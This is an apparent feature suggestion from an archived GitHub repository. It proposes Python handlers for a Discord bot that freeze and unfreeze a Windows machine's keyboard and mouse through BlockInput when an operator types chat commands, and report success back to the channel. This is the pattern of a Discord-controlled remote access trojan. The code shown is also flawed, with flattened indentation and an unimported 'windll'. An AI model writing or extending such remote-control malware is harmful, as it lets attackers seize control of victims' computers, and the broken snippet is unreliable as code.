This repository was archived by the owner on Dec 12, 2024. It is now read-only.

Description
if message.content.startswith(".blockinput"):
import ctypes
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
ok = windll.user32.BlockInput(True)
await message.channel.send("[*] Command successfully executed")
else:
await message.channel.send("[!] Admin rights are required for this operation")
if message.content.startswith(".unblockinput"):
import ctypes
is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
if is_admin == True:
ok = windll.user32.BlockInput(False)
await message.channel.send("[*] Command successfully executed")
else:
await message.channel.send("[!] Admin rights are required for this operation")
something along those lines???